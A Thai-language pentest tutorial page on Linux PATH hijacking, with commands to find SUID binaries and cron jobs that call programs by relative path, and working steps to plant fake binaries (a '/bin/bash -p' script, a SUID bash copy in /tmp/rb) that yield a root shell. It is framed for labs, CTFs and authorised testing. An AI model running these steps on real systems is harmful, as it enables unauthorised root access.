คลัง
linux-privesc

PATH Hijacking

PATH Hijacking ใช้ประโยชน์จากโปรแกรม (มัก SUID หรือ cron ที่รันเป็น root) ที่เรียก command โดยไม่ใส่ full path — เราสร้าง binary ปลอมชื่อเดียวกันใน directory ที่อยู่ต้น PATH ทำให้ถูกรันแทน บทนี้ลงลึกกลไก PATH, การหาเป้า, การ exploit, และการตรวจ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#path#linux#privesc#relative-path#suid#hijack#ctf

1. หลักการ

เมื่อโปรแกรมเรียก command โดยไม่ใส่ full path (เช่น system("cat file") แทน system("/bin/cat file")) shell จะค้น command ตาม $PATH ทีละ directory จากซ้ายไปขวา ถ้าเราควบคุม PATH ได้ (หรือมี directory ที่เขียนได้อยู่ต้น PATH) เราวาง binary ปลอมชื่อเดียวกัน — มันจะถูกเจอและรันก่อนตัวจริง ถ้าโปรแกรมนั้นรันเป็น root (SUID/cron) binary ปลอมของเราก็รันเป็น root

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หาเป้าหมาย

หา SUID/script ที่เรียก command แบบ relativeLinux
# 1. หา SUID binary (ดูหัวข้อ SUID)
find / -perm -4000 -type f 2>/dev/null

# 2. วิเคราะห์ว่าเรียก command อะไรแบบไม่ใส่ path
strings ./suid_binary | grep -vE '^/'      # หาชื่อ command ที่ไม่ขึ้นต้นด้วย /
ltrace ./suid_binary 2>&1 | grep -iE 'system|exec|popen'
# เห็น เช่น: system("service apache2 status") ← เรียก 'service' ไม่ใส่ path

# 3. ดู PATH ปัจจุบัน
echo $PATH
strings/ltrace หา command ที่ SUID เรียกแบบ relative (ไม่ขึ้นต้น /); นั่นคือชื่อ binary ปลอมที่จะสร้าง

3. Exploit

สร้าง binary ปลอม + แก้ PATHLinux
# สมมติ SUID binary เรียก 'cat' แบบไม่ใส่ path
# สร้าง 'cat' ปลอมที่เปิด shell
cd /tmp
echo '#!/bin/bash' > cat
echo '/bin/bash -p' >> cat        # -p รักษา privilege (root)
chmod +x cat

# วาง /tmp ไว้ต้น PATH
export PATH=/tmp:$PATH

# รัน SUID binary → มันเรียก 'cat' → เจอ /tmp/cat ของเราก่อน → root shell
./suid_binary

# หรือ payload เป็น SUID bash
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
./suid_binary
/tmp/rb -p                        # root
สร้าง binary ปลอมชื่อตรงกับ command ที่ถูกเรียก → export PATH ให้ dir เราอยู่หน้าสุด → รัน SUID

4. PATH hijack กับ cron

cron jobs ก็ hijack ได้ถ้า script เรียก binary แบบ relative และ PATH ของ cron รวม directory ที่เราเขียนได้ — ต่างจาก SUID ตรงที่ cron มี PATH ของตัวเอง (ดูใน /etc/crontab บรรทัด PATH=)

cron PATH hijackLinux
# ดู PATH ของ cron
cat /etc/crontab | grep PATH
# เช่น PATH=/home/user/bin:/usr/bin   ← /home/user/bin อยู่หน้า!

# ถ้า cron script เรียก 'backup' แบบ relative และ /home/user/bin เขียนได้
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /home/user/bin/backup
chmod +x /home/user/bin/backup
# รอ cron รัน (เป็น root) → /tmp/rb -p
cron มี PATH ของตัวเองใน /etc/crontab — ถ้า dir ที่เราเขียนได้อยู่หน้า + เรียก binary relative = hijack

5. Quick Reference

  • โปรแกรมเรียก command ไม่ใส่ full path → ค้นตาม PATH
  • วาง binary ปลอมชื่อเดียวกันใน dir ต้น PATH → ถูกรันก่อนตัวจริง
  • หาเป้า: SUID → strings/ltrace หา command ที่เรียก relative
  • exploit: echo '/bin/bash -p' > /tmp/CMD; chmod +x; export PATH=/tmp:$PATH
  • cron: ดู PATH ใน /etc/crontab; วางใน writable dir ที่อยู่หน้า
  • -p รักษา privilege ของ root shell

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ SUID binary แปลกๆ (custom) แต่ยังไม่รู้จะ exploit ยังไง หรือเจอ cron ที่ตั้ง PATH เอง มีแค่ Kali เปล่าๆ ลองเช็คว่ามันเรียก command แบบไม่ใส่ full path ไหม ทำตามนี้ทีละขั้น

  1. 1พิมพ์ find / -perm -4000 -type f 2>/dev/null หา SUID binary ก่อน
  2. 2เจอตัวที่ไม่ใช่ binary มาตรฐาน (ping/su/sudo/passwd) ให้จำ path ไว้
  3. 3พิมพ์ strings ./suid_binary | grep -vE '^/' ดูว่ามีชื่อ command ที่ไม่ขึ้นต้นด้วย / โผล่มาไหม
  4. 4พิมพ์ ltrace ./suid_binary 2>&1 | grep -iE 'system|exec|popen' ยืนยันว่ามันเรียก system()/exec() กับ command อะไร
  5. 5ถ้าเห็นมันเรียก เช่น 'service' แทน '/usr/sbin/service' นั่นคือช่องโหว่
  6. 6พิมพ์ cd /tmp แล้ว echo '/bin/bash -p' > service (ใช้ชื่อ command ที่เจอจริง) แล้ว chmod +x service
  7. 7พิมพ์ export PATH=/tmp:$PATH เพื่อให้ shell หา command ใน /tmp ก่อน
  8. 8รัน SUID binary ตัวเดิมอีกครั้ง (./suid_binary)
  9. 9พิมพ์ id ทันที ต้องเห็น uid=0(root) ถ้าไม่ใช่ ให้เช็คว่า binary เรียกด้วย full path จริงๆ หรือ reset PATH เอง
เจอ relative-path call แล้วทำอะไรต่อ / ไม่เจอไปทางไหน
strings ./suid_bin | grep -vE '^/' ; ltrace ./suid_bin
หา command ที่เรียกแบบไม่ใส่ full path
✅ เจอ command relative (เช่น เรียก 'service' ไม่ใช่ /usr/sbin/service)→ สร้าง binary ปลอมชื่อเดียวกัน
❌ เรียกครบด้วย full path หมด→ SUID ตัวนี้ hijack ไม่ได้ เช็คตัวอื่น/เช็ค cron แทน
cd /tmp ; echo '/bin/bash -p' > CMDNAME ; chmod +x CMDNAME
export PATH=/tmp:$PATH ; รัน SUID binary
id หลังรัน → uid=0(root)?
✅ ใช่→ จบงาน ได้ root
❌ ไม่ใช่ (binary ใช้ full path หรือ reset PATH เอง)→ ลองเช็ค cron PATH แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา SUID ที่จะวิเคราะห์find-gtfobins.github.io
ดูว่าเรียก command อะไรแบบ relativestrings, ltrace--
สร้าง binary ปลอมbash, chmod--
ทดสอบ PATH hijackexport PATH=--
หา cron ที่ตั้ง PATH ผิดcat /etc/crontab--
enumeration เสริม-linpeas-
🚑 ถ้าตันสนิท ลองท่าถัดไป: SUID (ลองวิธี GTFOBins ปกติก่อน ไม่ต้อง hijack ก็ได้) · Cron Jobs (ถ้า relative call มาจาก script ที่ cron รัน) · Writable Scripts (แก้ script ตรงๆ แทนถ้าเขียนได้) · กลับไป Linux Enumeration เพื่อไล่ checklist อื่น

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้